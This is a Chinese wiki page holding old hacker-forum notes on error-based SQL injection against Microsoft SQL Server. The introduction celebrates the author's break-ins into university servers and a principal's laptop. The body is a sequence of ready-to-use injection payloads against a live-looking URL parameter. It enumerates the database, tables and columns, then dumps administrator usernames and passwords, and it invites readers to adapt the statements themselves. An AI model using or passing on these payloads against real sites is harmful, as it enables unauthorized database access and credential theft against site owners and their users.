用户工具

站点工具


习科旧站:mssql_with_error注入样例

Mssql with error注入样例

这是习科核心2010年左右的笔记,习科核心里一个曾经211+985大学的大神,日遍学校所有服务器+管理员PC+校长笔记本,日过图床,网盘,桌游,网游,第一个日进习科自己服务器,给自己从论坛普通会员提升到管理员权限的大神。
(头衔真尼玛多)

这份笔记是他发在习科核心群后来辗转很多手以后,一直没有发表过的文章。

MySQL有显错注入,MSSQL也有,本文就是讲MSSQL显错注入的。
语句比较少,自己理解和套用。

sub.php?table=performance&id=12

原理和说明:可以报错的话,union用不了的都没事,下面全部就用类型转换vchar后和int比较大小报错的传统方式

【注意】如果仅仅只转换类型,不拼上一些特殊字符的话,本身为int的值,转成vchar后跟int比较大小,mssql还是会强制按照int去比较(估计就像编程中的弱类型语言,主观臆断,没有考证),这样就暴不出错了

只能二分,太慢。 以前第一次mssql注入的时候转了又转还是不行。很多情况是+号被过滤,所以此处演示的字符串连接的加号+要用url编码

id=12 and db_name()>0--

暴当前数据名zhengheng

id=12 and (select cast(count(*) as varchar(10))%2b'^' from [zhengheng]..[sysobjects] where xtype='U' and status>0)>0--

zhengheng库下的表数目

id=12 and (select top 1 name from [zhengheng]..[sysobjects] where xtype='U' and status>0 and id=1)>0--

sysobjects是系统表,结构可以查资料。
有id这一列。根据id一个个暴表名,第一个就是adminuser

id=12 and (select top 1 name from [zhengheng]..[syscolumns] where id=357576312 and colid=1)>0--

列名,colid递增一个个暴

id=12 and (select cast(count(*) as varchar(200))%2b'^' from adminuser where 1=1)>0--

记录数

id=12 and (select top 1 (cast([username] as nvarchar(100)))%2b'^'%2b(cast(password as nvarchar(100))) from adminuser where id=1)>0--

用户名密码

最后得到结果:adminuser表:admin和liying

你需要登录发表评论。
习科旧站/mssql_with_error注入样例 · 最后更改: 2017/07/28 05:21

页面工具